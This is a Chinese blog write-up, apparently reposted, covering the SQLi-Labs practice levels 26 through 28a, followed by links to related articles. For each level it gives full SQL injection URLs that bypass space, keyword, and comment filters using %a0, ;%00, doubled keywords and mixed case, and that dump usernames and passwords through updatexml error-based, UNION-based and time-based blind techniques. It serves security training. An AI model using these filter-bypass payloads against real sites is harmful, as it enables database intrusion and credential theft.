Sqli-Labs less26-28a
less-26
从第26关开始,我的sqli-labs就在docker上运行了,因为windows中阿帕奇对空格的转义有问题

通过源码可以看到有很多过滤,包括空格 or和and。
方法:
or可以用||替换
and可以用&&
注释符用;%00替代
空格用%a0替代
所以第一种办法:updatexml报错注入
当前数据库:http://192.168.0.106:300/Less-26/?id=0' || updatexml(1, concat(0x7e, database()) ,1) || '1'='1

查表:http://192.168.0.106:300/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))) ,1) || '1'='1(注意双写)

查字段:http://192.168.0.106:300/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name='users'))) ,1) || '1'='1

查值:http://192.168.0.106:300/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat( concat_ws(0x7e,username,passwoorrd) )) from (security.users))) ,1) || '1'='1

这种方式不会输出太多,可以用下面的语句:
http://192.168.0.106:300/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat( concat_ws(0x7e,username,passwoorrd) )) from (security.users) where(id=5))) ,1) || '1'='1
可以通过改变id的值一个个查询:

第二种办法:可以用%a0代替空格、;%00作为注释符:
直接最后一步:http://192.168.0.106:300/Less-26/?id=0' %a0 union%a0 select%a0 1,2,(select%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

这种方式是可以全选的
less-26a
观察26a的源码:
可以看到他屏蔽的输出错误,所以不能再用updatexml报错注入
只能用替代绕过:
http://192.168.0.106:300/Less-26a/?id=0') %a0 union%a0 select%a0 1,2,(select%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

less-27
观察代码:多加了select和union转义,并且区分大小写

第一种方法:空格用%a0代替,并且union和select混合大小写:
http://192.168.0.106:300/Less-27/?id=0' %a0 uNIon%a0 sELect%a0 1,2,select %a0( concat_ws(0x7e,username,password)) %a0from (%a0security.users ) %a0 limit %a0 3,1 ;%00

这里直接的最后一步,改变limit 的值拿到所有的数据
第二种办法:updatexml报错注入的方法:
http://192.168.0.106:300/Less-27/?id=1' %a0 || updatexml(1, concat(0x7e, (SElect %a0 concat_ws(0x7e,username,password) from %a0 security.users %a0 limit %a0 1,1 ) ),1) || %a0 '1'='1

同样也是改变limit的值拿到所有的数据
less-27a
这一关与27关类似
第一种办法:空格用%a0代替,并且union和select混合大小写:
http://192.168.0.106:300/Less-27a/?id=0" %a0 uNIon%a0 sELect%a0 1,2,select %a0( concat_ws(0x7e,username,password)) %a0from (%a0security.users ) %a0 limit %a0 1,1 ;%00

第二种办法:使用基于时间的盲注 其中%26%26 代表 &&
http://192.168.0.106:300/Less-27a/?id=1" %26%26 if( length(database())>1, 1, sleep(5) ) %26%26 %0a "1"="1

具体步骤省略
less-28
注意闭合:http://192.168.0.106:300/Less-28/?id=0') %a0 union %a0 select %a0 1,2, (concat_ws(0x7e,username,password)) %a0 from %a0 (security.users) limit %a0 3,1 ;%00

less-28a
28a与28基本完全一样,参考上关代码即可。
当然也可以用时间注入的方式,但是比较慢,所以推荐上面的方法。
Sqli-Labs less26-28a的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- 调整/home和/root空间容量
转载请注明出处:http://www.cnblogs.com/gaojiang/p/6767043.html 1.查看磁盘情况:df -h 2.卸载/homeumount /home umount / ...
- 6-x3 declare和typeset命令:设置变量属性
declare 和 typeset 都是 Shell 内建命令,它们的用法相同,都用来设置变量的属性.不过 typeset 已经被弃用了,建议使用 declare 代替.declare 命令的用法如下 ...
- Qt绘图浅析与实例
1. Qt5位置相关函数 Q提供了很多关于获取窗体位置及显示区域大小的函数,如x().y()和pos().rect().size().geometry()等,统称为"位置相关函数" ...
- python使用笔记19--网络操作
1.get请求 1 import requests 2 import datetime 3 #get请求 4 url = 'http://api.nnzhp.cn/api/user/stu_info' ...
- 以太网MAC地址组成与交换机基本知识
以太网MAC地址 MAC地址由48位二进制组成,通常分为六段,用十六进制表示,工作在数据链路层. 数据链路层功能: 链路的建立,维护与拆除 帧包装,帧传输,帧同步 帧的差错恢复 简单的流量控制 第八位 ...
- 【原创】如何通过-y和-v使用库文件
在进行仿真时,经常遇到设计代码中需要调用一些标准的库文件,但是在设计的编译列表filelist中却没有相应的库文件,这时为了完成仿真,需要设计人员提供对应的库文件或者库文件所在的路径,然后仿真时将这些 ...
- 在docker for windows建立mssql容器后,ssms连接mssql出现错误号码18456的问题
在docker for windows建立mssql容器后,ssms连接mssql出现错误号码18456的问题 笔者提供一个可能会没考虑到的点. 请检查本机是否安装了mssql!!! 请检查本机的ms ...
- 小师妹学IO系列文章集合-附PDF下载
目录 第一章 IO的本质 IO的本质 DMA和虚拟地址空间 IO的分类 IO和NIO的区别 总结 第二章 try with和它的底层原理 简介 IO关闭的问题 使用try with resource ...
- sql语句优化原理
前言 网上有很多关于sql语句优化的文章,我这里想说下为什么这样...写sql语句,能够提高查询的效率. 1 sql语句优化原理 要想写出好的sql,就要学会用数据库的方式来思考如何执行sql,那么什 ...
- python的web框架知识点
一个完整的web应用:服务器收到来自浏览器的一个请求,服务器将请求内容的网页返回给浏览器,让浏览器显示出来.[而浏览器与服务器之前的传输协议是HTTP] HTTP是一个基于TCP/IP通信协议来传递数 ...